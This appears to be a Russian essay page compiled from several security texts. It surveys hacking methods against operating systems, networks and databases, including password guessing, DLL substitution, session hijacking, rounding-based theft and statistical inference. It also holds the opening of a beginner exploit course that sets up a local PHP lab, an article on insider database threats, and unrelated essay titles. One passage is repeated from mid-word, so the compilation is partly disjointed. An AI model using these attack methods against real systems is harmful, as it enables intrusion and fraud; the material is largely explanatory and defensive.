кража внешнего носителя парольной информации (дискеты или электронного ключа, на которых хранится пароль пользователя, предназначенный для входа в операционную систему);

полный перебор всех возможных вариантов пароля;

подбор пароля по частоте встречаемости символов и биграмм, с помощью словарей наиболее часто применяемых паролей, с привлечением знаний о конкретном пользователе — его имени, фамилии, номера телефона, даты рождения и т. д., с использованием сведений о существовании эквивалентных паролей, при этом из каждого класса опробуется всего один пароль, что может значительно сократить время перебора;

сканирование жестких дисков компьютера (хакер последовательно пытается обратиться к каждому файлу, хранимому на жестких дисках компьютерной системы; если объем дискового пространства достаточно велик, можно быть вполне уверенным, что при описании доступа к файлам и каталогам администратор допустил хотя бы одну ошибку, в результате чего все такие каталоги и файлы будут прочитаны хакером; для сокрытия следов хакер может организовать эту атаку под чужим именем: например, под именем пользователя, пароль которого известен хакеру);

сборка "мусора" (если средства операционной системы позволяют восстанавливать ранее удаленные объекты, хакер может воспользоваться этой возможностью, чтобы получить доступ к объектам, удаленным другими пользователями: например, просмотрев содержимое их "мусорных" корзин);

превышение полномочий (используя ошибки в программном обеспечении или в администрировании операционной системы, хакер получает полномочия, превышающие полномочия, предоставленные ему согласно действующей политике безопасности);

запуск программы от имени пользователя, имеющего необходимые полномочия, или в качестве системной программы (драйвера, сервиса, демона и т. д.);

подмена динамически загружаемой библиотеки, используемой системными программами, или изменение переменных среды, описывающих путь к таким библиотекам;

модификация кода или данных подсистемы защиты самой операционной системы;

отказ в обслуживании (целью этой атаки является частичный или полный вывод из строя операционной системы);

захват ресурсов (хакерская программа производит захват всех имеющихся в операционной системе ресурсов, а затем входит в бесконечный цикл);

бомбардировка запросами (хакерская программа постоянно направляет операционной системе запросы, реакция на которые требует привлечения значительных ресурсов компьютера);

использование ошибок в программном обеспечении или администрировании.

 

Если в программном обеспечении компьютерной системы нет ошибок и ее администратор строго соблюдает политику безопасности, рекомендованную разработчиками операционной системы, то атаки всех перечисленных пики, малоэффективны. Дополнительные меры, которые должны быть предприняты для повышения уровня безопасности, в значительной степени зависят от конкретной операционной системы, под управлением которой работаем данная компьютерная система. Тем не менее, приходится признать, что вне зависимости от предпринятых мер полностью устранить угрозу взлома компьютерной системы на уровне операционной системы невозможно. Поэтому политика обеспечения безопасности должна проводиться так, чтобы, даже преодолев защиту, создаваемую средствами операционной системы, хакер не смог нанести серьезного ущерба.

 

Атаки на уровне сетевого программного обеспечения

СПО является наиболее уязвимым, потому что канал связи, по которому передаются сообщения, чаше всего не защищен, и всякий, кто может иметь доступ к этому каналу, соответственно, может перехватывать сообщения и отправлять свои собственные. Поэтому на уровне СПО возможны следующие хакерские атаки:

прослушивание сегмента локальной сети (в пределах одного и того же сегмента локальной сети любой подключенный к нему компьютер в состоянии принимать сообщения, адресованные другим компьютерам сегмента, а следовательно, если компьютер хакера подсоединен к некоторому сегменту локальной сети, то ему становится доступен весь информационный обмен между компьютерами этого сегмента);

перехват сообщений на маршрутизаторе (если хакер имеет привилегированный доступ к сетевому маршрутизатору, то он получает возможность перехватывать все сообщения, проходящие через этот маршрутизатор, и хотя тотальный перехват невозможен из-за слишком большого объема, чрезвычайно привлекательным для хакера является выборочный перехват сообщений, содержащих пароли пользователей и их электронную почту);

создание ложного маршрутизатора (путем отправки в сеть сообщений специального вида хакер добивается, чтобы его компьютер стал маршрутизатором сети, после чего получает доступ ко всем проходящим через него сообщениям);

навязывание сообщений (отправляя в сеть сообщения с ложным обратным сетевым адресом, хакер переключает на свой компьютер уже установленные сетевые соединения и в результате получает права пользователей, чьи соединения обманным путем были переключены на компьютер хакера);

отказ в обслуживании (хакер отправляет в сеть сообщения специальною вида, после чего одна или несколько компьютерных систем, подключенных к сети, полностью или частично выходят из строя).

Поскольку хакерские атаки на уровне СПО спровоцированы открытостью сетевых соединений, разумно предположить, что дли отражения этих атак необходимо максимально защитить каналы связи и тем самым затруднить обмен информацией по сети для тех, кто не является легальным пользователем. Ниже перечислены некоторые способы такой защиты:

максимальное ограничение размеров компьютерной сети (чем больше сеть, тем труднее ее защитить);

изоляция сети от внешнего мира (по возможности следует ограничивать физический доступ к компьютерной сети извне, чтобы уменьшить вероятность несанкционированного подключения хакера);

шифрование сетевых сообщений (тем самым можно устранить угрозу перехвата сообщений, правда, за счет снижения производительности СПО и роста накладных расходов);

электронная цифровая подпись сетевых сообщений (если все сообщения, передаваемые по компьютерной сети, снабжаются электронной цифровой подписью, и при этом неподписанные сообщения игнорируются, то можно забыть про угрозу навязывания сообщений и про большинство угроз, связанных с отказом в обслуживании);

использование брандмауэров (брандмауэр является вспомогательным средством защиты, применяемым только в том случае, если компьютерную сеть нельзя изолировать от других сетей, поскольку брандмауэр довольно часто не способен отличить потенциально опасное сетевое сообщение от совершенно безвредного, и в результате типичной является ситуация, когда брандмауэр не только не защищает сеть от хакерских атак, но и даже препятствует ее нормальному функционированию).

Здравствуй. Данный цикл статей я начал писать именно потому, что материала в сети вроде бы много, но вот он либо не точный, либо по системе “моё дело написать, Ваше дело разобраться” – что для большинства новичков не есть хорошо. Тем более статьи, размещенные в Интернете, чаще всего авторы пишут подразумевая то, что читатель уже имеет средний опыт взлома.

В цикле статей “Курс молодого бойца.” я постараюсь рассмотреть некоторые типы уязвимостей, которые могут быть обнаружены в php(и не только)-скриптах, причем постараюсь рассмотреть всё это так, чтобы даже новичок мог спокойно разобраться. Небольшие требования к читателям данного цикла статей:
• Знать что такое IP адрес • Знать что такое сетевые порты.

По ходу обсуждений уязвимостей мы будем проводить некоторые эксперименты со скриптами, которые будем писать сами и запускать их на своём веб-сервере. Плюс ко всему будем писать небольшие эксплойты для разных случаев. Для начала нам конечно же понадобится сам веб-сервер, с поддержкой PHP(это первый проблемный момент в этом цикле статей – сразу всё может не получится. Второй будет дальше.). Для этого нам очень хорошо подойдёт Denver – хороший комплекс программ от отечественного производителя (скачать можно на http://www.denwer.ru/ ).

С его установкой проблем возникнуть не должно, единственное, что может слегка озадачить – это то, что ярлыки на рабочем столе, после установки, могут не создаться. В этом случае нужно просто пройти в папку [папка_куда_Вы_ставили_Denwer]/etc/ . Там Вы найдёте исполняемые файлы:
1. Run.exe – Запуск веб-сервера (Стартует Apache и MySQL)
2. Stop.exe – Остановка веб-сервера
3. Restart.exe – Рестарт веб-сервера соответственно.
Скрипты сайтов лежат в папке /home/. Нам нужна будет только папка localhost. В ней есть папка www – вот там и находятся все скрипты сайта, который Вы увидите, если наберёте http://localhost/, туда же нам нужно будет сохранять и свои скрипты.

Также нужно скачать пакет PHP5 (с этого же сайта) и установить его. Он сам найдёт куда устанавливаться, главное запустить. PHP5 нам нужен для написания скриптов работающих с MsSQL, PostgreSQL и SQLite. В PHP4 нужные нам СУБД не поддерживались, поэтому приходилось копаться в кучах библиотек и в ручную всё подключать. После установки внесите небольшие изменения в файл php.ini находящийся в папке [папка_Denver`a]/usr/local/php5.

Найдите в нём следующие строчки:
;extension=php_mssql.dll
;extension=php_pgsql.dll
и уберите в них точку с запятой в начале строки. Так же добавьте строчку
extension=php_sqlite.dll
Затем перезапустите веб-сервер, всё должно пройти без ошибок.

Так, веб-сервер установлен, далее нам понадобится PHP-редактор, я предпочитаю PHP Expert Editor (www.phpexperteditor.com), Вы же можете воспользоваться хоть блокнотом, главное чтоб Вам было удобно. Далее нам понадобится Perl. Существует множество пакетов, но мне больше нравится Active Perl. Вы, опять же, выбираете на свой вкус. Так же нужен любой текстовый редактор для написания perl-скриптов, можете так же воспользоваться обычным блокнотом.

Внимание!!! Не пользуйтесь офисными редакторами (типа Microsoft Word) для написания php или perl - скриптов. Скрипты работать не будут!

Далее, для практического изучения некоторых уязвимостей, нам понадобится 4 СУБД:
1. MySQL (Уже имеется в базовом пакете Денвера)
2. MsSQL (не буду говорить где взять данный СУБД потому что пропаганда пиратства – это плохо )
3. PostgreSQL(скачать http://wwwmaster.postgresql.org/download/mirrors-ftp?file=binary/v8.2.0/win32/postgresql-8.2.0-1.zip (для скачки выберите страну(Russian )))
Вы нашли/скачали эти СУБД - попробуйте установить их и запустить. Вот вроде бы и всё что нужно для подготовки. Давайте начнём.

Цель хакерской атаки: СУБД - система управления базами данных

Защита системы управления базами данных (далее СУБД) представляет собой одну из самых несложных задач. В первую очередь это связано с тем, что системы управления БД имеют внутреннюю структуру, которая является строго определенной, а так же все операции над элементами СУБД задаются достаточно четко. Существует четыре основополагающих действия, такие как поиск, вставка, удаление, а так же замена элемента. Все остальные операции есть вспомогательные и используются довольно не часто. Поэтому относительно строгая структура с четко определенными операциями делает защиту СУБД достаточно простой задачей. В преобладающем большинстве атак хакеры выбирают вариант взлома защиты компьютерной системы нацеленный на операционную систему, посредством этого получить доступ к файлам системы управления БД. Но в случае применения СУБД, которая не имеет предельно надежных защитных механизмов, или является недостаточно протестированной версией, которая содержит ошибки, или же если администратором СУБД были сделаны ошибки при выяснении политики безопасности, то получается достаточно вероятным прохождение хакером защиты, базирующейся на уровне СУБД.

Помимо этого, существуют два специфических сценария атаки на СУБД, причем, для построения защиты от них требуется использовать специальные методы. В одном случае результаты математических операций над числовыми полями системы управления БД округляют в меньшую сторону, а разница суммируется в другой записи СУБД (зачастую, данная запись содержит какой-то личный счет хакера в банке, а числовые поля, которые округляются, относятся к счетам прочих клиентов банка). В другом случае хакер заполучает доступ к полям записей системы управления БД, для которых доступной есть исключительно статистическая информация. Главная идея хакерской атаки на систему управления БД — сформулировать запрос настолько хитро, чтобы большое количество записей, для которого составляется статистика, было лишь из одной записи.


Компьютерная система глазами хакера

Проблема защиты компьютерных данных в сфере любого вида бизнеса является очень важной. К тому же электронные счета давно стали объектом охоты хакеров. Громкие судебные процессы, которые затевались против злоумышленников, проникавших в корпоративные компьютерные системы, привлекли достаточно внимания как со стороны специалистов в компьютерной области, так и директоров корпораций.

Одним из самых серьезных транснациональных сетевых компьютерных преступлений, по мнению Интерпола, является дело Левина, в результате чего американский Сити-банк потерял 400 тыс. долларов США. После подобных происшествий директорский состав компаний пришел к выводу, что с поступлением в работу каждой последующей компьютерной системы, которая имеет выход во всемирную сеть Интернета, существует достаточный риск предоставить различного рода злоумышленникам возможность, благодаря которой они могут беспрепятственно проникать в лоно компании и причинять значительный материальный ущерб. Кому это интересно? Многим, как профессиональным взломщикам и грабителями, конкурентам, так и обиженным подчиненным. Таким образом, как неосведомленность руководящего состава, так и ограничения в бюджетных средствах не есть основные препятствия на пути введения мер защиты в компьютерных системах информации, а важную роль имеет именно выбор инструментов и решений.

Стало понятно, что создание мощно защищенной компьютерной системы не представляется возможным без досконального анализа вероятных угроз для ее безопасности. Специалисты определили список действий, которые необходимо осуществить в каждом определенном случае, чтобы предвидеть сценарии вероятных нападений на компьютерную систему. Подобный список представляет собой:

1. Выяснения ценности и важности информации, которая хранится в компьютерной системе.

2. Оценка временных и материальных затрат, которые предположительно может позволить себе взломщик для прохождения механизмов зашиты компьютерной системы.

3. Возможная модель поведения взломщика при осуществлении атаки на компьютерную систему.

4. Оценка временных и материальных затрат, которые потребуются для создания адекватной защиты компьютерной системы.

При осуществлении анализа вероятных угроз безопасности компьютерной системы эксперт на место взломщика ставил себя. Для этого ему требовалось понять, кого представляет собой взломщик, от которого выстраивается защита. Прежде всего, необходимо было максимально точно ответить на определенные вопросы:

1. Насколько высокой является степень профессиональной подготовки взломщика.

2. Какой именно информацией об атакуемой компьютерной системе он обладает.

3. Каким образом взломщик осуществляет доступ к компьютерной системе.

4. К какому методу атаки он прибегнет вероятнее всего.

Но экспертам, которые ставили себя на место взломщика злоумышленника, для того, что бы ответить на представленные вопросы, не понравилось называть себя злоумышленниками. С одной стороны, это — длинное и неуклюжее слово, а с другой стороны, оно не вполне отражает суть предлагаемой задачи, которая заключается не в поиске недочетов в защите компьютерной системы, а в их устранении. После этого они взяли в обиход другой термин, который точнее подходит возложенной на них миссии, и начали прорабатывать возможные модели поведения хакеров.


Методы взлома компьютерных систем

Практически любое компьютерное программное обеспечение состоит из 3 - х основных составляющих:

операционная система,

сетевое программное обеспечение (СПО),

системы управления базами данных (СУБД).


Исходя из этого, все вероятные попытки взлома защиты компьютерных систем следует дифференцировать на три вида атаки:


уровень операционной системы,

уровень сетевого программного обеспечения,

уровень систем управления базами данных.

Обеспечение безопасности корпоративных баз данных - сегодня одна из самых актуальных тем. И это понятно. Однако парадокс заключается в том, что уделяя огромное внимание защите баз данных снаружи, многие забывают защищать их изнутри.

Летом нынешнего года результаты своих исследований в этом вопросе опубликовала компания IBM. Показательно, что согласно собранным данным, защите периметра сети уделяется втрое больше внимания, чем защите от внутренних возможных нарушений.

Кроме того, если вернуться к случаям взлома БД и провести простой расчет, то он покажет несостоятельность попыток свалить всю вину за происшедшее на хакеров. Разделив объем украденных данных на типовую скорость канала доступа в Интернет, мы получим, что даже при максимальной загруженности канала на передачу данных должно было бы уйти до нескольких месяцев. Логично предположить, что такой канал утечки данных был бы обнаружен даже самой невнимательной службой безопасности.

И если перед нами стоит задача обеспечить безопасность корпоративной СУБД, давайте озадачимся простым вопросом: кто в компании вообще пользуется базой данных и имеет к ней доступ?

Существует три большие группы пользователей СУБД, которых условно можно назвать операторами; аналитиками; администраторами.

Под операторами в предложенной классификации мы понимаем в основном тех, кто либо заполняет базу данных (вводят туда вручную информацию о клиентах, товарах и т. п.), либо выполняют задачи, связанные с обработкой информации: кладовщики, отмечающие перемещение товара, продавцы, выписывающие счета и т. п.

Под аналитиками мы понимаем тех, ради кого, собственно, создается эта база данных: логистики, маркетологи, финансовые аналитики и прочие. Эти люди по роду своей работы получают обширнейшие отчеты по собранной информации.

Термин "администратор" говорит сам за себя. Эта категория людей может только в общих чертах представлять, что хранится и обрабатывается в хранилище данных. Но они решают ряд важнейших задач, связанных с жизнеобеспечением системы, ее отказо- и катастрофоустойчивости.

Но различные роли по отношению к обрабатываемой информации - не единственный критерий. Указанные группы различаются еще и по способу взаимодействия с СУБД.

Операторы чаще всего работают с информацией через различные приложения. Безопасность и разграничение доступа к информации тут реализованы очень хорошо, проработаны и реализованы методы защиты. Производители СУБД, говоря о возможностях своих систем, акцентируют внимание именно на такие способы защиты. Доступ к терминалам/компьютерам, с которых ведется работа, разграничение полномочий внутри приложения, разграничение полномочий в самой СУБД - все это выполнено на высоком техническом уровне. Честно внедрив все эти механизмы защиты, специалисты по безопасности чувствуют успокоение и удовлетворение.

Но беда в том, что основные проблемы с безопасностью приходятся на две оставшиеся категории пользователей.

Проблема с аналитиками заключается в том, что они работают с СУБД на уровне ядра. Они должны иметь возможность задавать и получать всевозможные выборки информации из всех хранящихся там таблиц. Включая и запросы общего типа "select * *".

С администраторами дело обстоит ненамного лучше. Начиная с того, что в крупных информационных системах их число сопоставимо с числом аналитиков. И хотя абсолютно полными правами на СУБД наделены лишь два-три человека, администраторы, решающие узкие проблемы (например резервное копирование данных), все равно имеют доступ ко всей информации, хранящейся в СУБД.

Между аналитиками и администраторами на первый взгляд нет никакой разницы: и те и другие имеют доступ ко всей обрабатываемой информации. Но все же отличие между этими группами есть, и состоит оно в том, что аналитики работают с данными, используя некие стандартные механизмы и интерфейсы СУБД, а администраторы могут получить непосредственный доступ к информации, например на физическом уровне, выполнив лишний раз ту же операцию по резервному копированию данных.

Какие еще защитные механизмы можно задействовать, чтобы решить проблему безопасности данных?

Попытаемся "плясать от печки". В принципе, в любой СУБД есть встроенные возможности по разграничению и ограничению доступа на уровне привилегий пользователей. Но возможность эта существует только чисто теоретически. Кто хоть раз имел дело с администрированием большой СУБД в большой организации, хорошо знает, что на уровне групп пользователей что-либо разграничить слишком сложно, ибо даже, помимо многообразия организационных ролей и профилей доступа, в дело вмешиваются проблемы обеспечения индивидуального доступа, который вписать в рамки ролей практически невозможно.

Но и это еще не все. Очень часто обработка данных ведется не самим пользователем, а созданным и запущенным в СУБД скриптом. Так, например, поступают для формирования типовых или периодических отчетов. В этом случае скрипт запускается не от имени пользователя, а от имени системной учетной записи, что серьезно затрудняет понимание того, что же на самом деле происходит в базе данных. Притом сам скрипт может содержать практически любые команды, включая пресловутое "select * *". В ходе работы скрипт может сформировать новый массив данных, в том числе и дублирующий все основные таблицы. В итоге пользователь получит возможность работать с этим набором данных и таким образом обходить установленные нами средства аудита.

Попытка использовать для разграничения доступа криптографию также обречена на провал: это долго, ресурсоемко и опасно с точки зрения повреждения данных и их последующего восстановления. К тому же возникают проблемы с обработкой информации, ибо индексироваться по зашифрованным полям бесполезно. А самое главное, что некоторым администраторам все равно придется дать "ключи от всех замков".

В результате, если перед компанией стоит задача по сохранению своих корпоративных СУБД, то ее нельзя разрешить простым ограничением и разграничением доступа к информации. Как мы разобрались, где это хоть как-то возможно, это уже сделано. Во всех остальных случаях можно лишь по факту понимать, что происходило с данными.

Задачу необходимо формулировать так: мы должны знать, кто, когда получает доступ к данным и к каким.

Попытка решить поставленную задачу средствами СУБД столкнется с вычислительными ресурсами серверов, поскольку помимо обработки данных им придется вести полное протоколирование своих действий. Но самое неприятное будет заключаться в том, что если за кражу информации возьмется один из администраторов, то его полномочий, скорее всего, хватит и на затирание следов своей деятельности в журналах регистрации.

Именно поэтому необходимо использовать внешние средства аудита.

Производители средств защиты готовы нам помочь средствами, которые способны контролировать и все входящие запросы и выборки данных на запуск скриптов для обработки информации, и обращения к отдельным таблицам. Подобные средства представляют собой некоторый сервис, работающий на сервере с установленной СУБД и контролирующий все обращения к базе.

Однако крупные хранилища данных работают под управлением специализированных ОС. Цены на решения для таких СУБД "кусаются". Ко всему прочему, администраторы начинают сильно переживать, что лишний установленный сервис если и не затормозит работу, то по крайней мере станет дополнительным "очагом нестабильности" системы в целом.

Когда нет возможности сломать этот стереотип, на помощь могут прийти средства сетевого контроля. По сути они представляют собой специализированные снифферы, которые контролируют и детально разбирают протоколы взаимодействия с базами данных. Ставятся либо непосредственно перед сервером баз данных, либо на входе в сегмент сети, где располагаются сразу несколько серверов с СУБД. При этом из сетевого может быть извлечена как информация о сделанных запросах, так и непосредственно та информация, которая была направлена пользователю. Естественно, если доступ к СУБД необходимо защищать криптографическими методами, подобное средство необходимо расположить между СУБД и окончанием VPN-тоннеля.

Таким образом мы сможем контролировать аналитиков, но не администраторов, и в этом заключается наибольшая трудность при использовании описываемых средств. Ведь администраторы имеют доступ к серверам баз данных не только через стандартные интерфейсы, но и, например, через средства удаленного администрирования. Тут способны помочь лишь жесткие административные ограничения: все манипуляции с сервером и СУБД - только локально. При проведении такой жесткой политики администраторы скорее всего будут сопротивляться и кивать на оперативность разрешения проблем, но чаще всего эти доводы бывают слишком притянуты за уши. Если проблема небольшая, то 3 минуты, затрачиваемые на проход по коридору, ничего не решат. Если же проблема действительно большая, то им так или иначе придется работать непосредственно с севером в течение достаточно продолжительного времени. Тут очевидно противостояние: что важнее, удобство работы администратора (при всем уважении к людям, делающим эту нелегкую работу) или безопасность данных, а то и репутация компании? Полагаю, при такой постановке вопроса пробежка по коридору не должна восприниматься как весомый аргумент.

Защититься от физического доступа к базам данных также возможно только путем введения жестких регламентов съема и хранения информации и слежения за отступлениями от этих регламентов. К примеру, изготовление лишней резервной копии. Если процессы происходят по сети, с несанкционированными всплесками сетевого трафика по силам справиться средствам обнаружения и предотвращения атак. Стоит ли говорить, что отдельно надо побеспокоиться о безопасном хранении самих резервных копий. В идеале физический доступ к ним должен быть строго ограничен, а администратор, отвечающий за процесс, должен либо настроить расписание, либо иметь возможность только запустить этот процесс и контролировать его прохождение без доступа к резервным носителям информации.

Подводя итог, скажем: безопасность - процесс комплексный. И еще раз хочется предостеречь пользователей от стереотипа, что опасность корпоративным ресурсам, в том числе и базам данных, угрожает только из внешнего окружения компании или организации.

труктуру, и операции над элементами СУБД заданы довольно четко. Есть четыре основных действия — поиск, вставка, удаление и замена элемента. Другие операции являются вспомогательными и применяются достаточно редко. Наличие строгой структуры и четко определенных операций упрощает решение задачи защиты СУБД. В большинстве случаев хакеры предпочитают взламывать защиту компьютерной системы на уровне операционной системы и получать доступ к файлам СУБД с помощью средств операционной системы. Однако в случае, если используется СУБД, не имеющая достаточно надежных защитных механизмов, или плохо протестированная версия СУБД, содержащая ошибки, или если при определении политики безопасности администратором СУБД были допущены ошибки, то становится вполне вероятным преодоление хакером защиты, реализуемой на уровне СУБД.

Кроме того, имеются два специфических сценария атаки на СУБД, для защиты от которых требуется применять специальные методы. В первом случае результаты арифметических операций над числовыми полями СУБД округляются в меньшую сторону, а разница суммируется в некоторой другой записи СУБД (как правило, эта запись содержит личный счет хакера в банке, а округляемые числовые поля относятся к счетам других клиентов банка). Во втором случае хакер получает доступ к полям записей СУБД, для которых доступной является только статистическая информация. Идея хакерской атаки на СУБД — так хитро сформулировать запрос, чтобы множество записей, для которого собирается статистика, состояло только из одной записи.



1. Реферат Определение рыночной стоимости движимого имущества, автомобиля
2. Реферат на тему Армения Рим и Парфяне
3. Контрольная работа Сутність і сфера міжгалузевого управління
4. Курсовая Рынок ценных бумаг в РБ
5. Реферат на тему Nazism Essay Research Paper NAZISMThe National Socialist
6. Контрольная работа Экономика транспортной отрасли
7. Реферат на тему Fortune S Furious Fickle Wheel Essay Research
8. Курсовая Разработка системы управления кондиционером
9. Курсовая Совершенствование механизма управления стрессом
10. Доклад Ранние утописты